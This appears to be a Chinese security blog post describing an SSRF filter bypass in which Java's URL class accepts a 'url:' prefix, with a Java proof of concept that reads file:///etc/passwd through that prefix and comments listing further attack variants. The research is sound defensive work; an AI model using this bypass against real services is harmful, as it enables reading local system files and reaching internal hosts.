0x01 前言

首先原作者文章: https://mp.weixin.qq.com/s/SysCJTcYRpV6dj9QfeQYmQ
有这个思考主要是因为看了文章以后觉得核心点就是

  1. js 里面的 new URL("url:xxxxxxx");
  2. 恰巧的是 java new URL 也可以支持 url:xxxxxxx 这种格式
  3. 那么脑海里面其实第一反应就是如果他是黑名单过滤或是不严谨的白名单过滤那么绕过就有可能性了
  4. 例如下面的例子

0x02 例子

  1. import java.net.URL;
  2. import java.net.URLConnection;
  3. import java.io.BufferedReader;
  4. import java.io.InputStreamReader;
  5. public class SsrfTest2 {
  6. public static void main(String[] args) {
  7. try {
  8. // 漏洞利用点
  9. // 例如我这里使用了 最前面使用了 url: 最后面使用了 ?1123=fffffff
  10. // 也是可以正常执行的,所以说 new URL 这个类兼容性也是非常强的
  11. // 当然这里里面,实际攻击可以改成
  12. // url:http://xxxx.com
  13. // url:https://xxx.com
  14. // url:file:///etc/passwd
  15. // 都是可以正常识别的
  16. String url = "url:file:///etc/passwd?1123=fffffff";
  17. // 实例化url的对象
  18. URL u = new URL(url);
  19. System.out.println(u);
  20. //打开一个URL连接,并运行客户端访问资源。
  21. URLConnection connection = u.openConnection();
  22. connection.connect();
  23. connection.getInputStream();
  24. StringBuilder response = new StringBuilder();
  25. //获取url中的资源
  26. BufferedReader in = new BufferedReader(
  27. new InputStreamReader(connection.getInputStream(), "UTF-8"));
  28. String line;
  29. while ((line = in.readLine()) != null) {
  30. response.append(line);
  31. }
  32. in.close();
  33. System.out.print(response.toString());
  34. } catch (Exception e) {
  35. e.printStackTrace();
  36. }
  37. }
  38. }

运行结果
image.png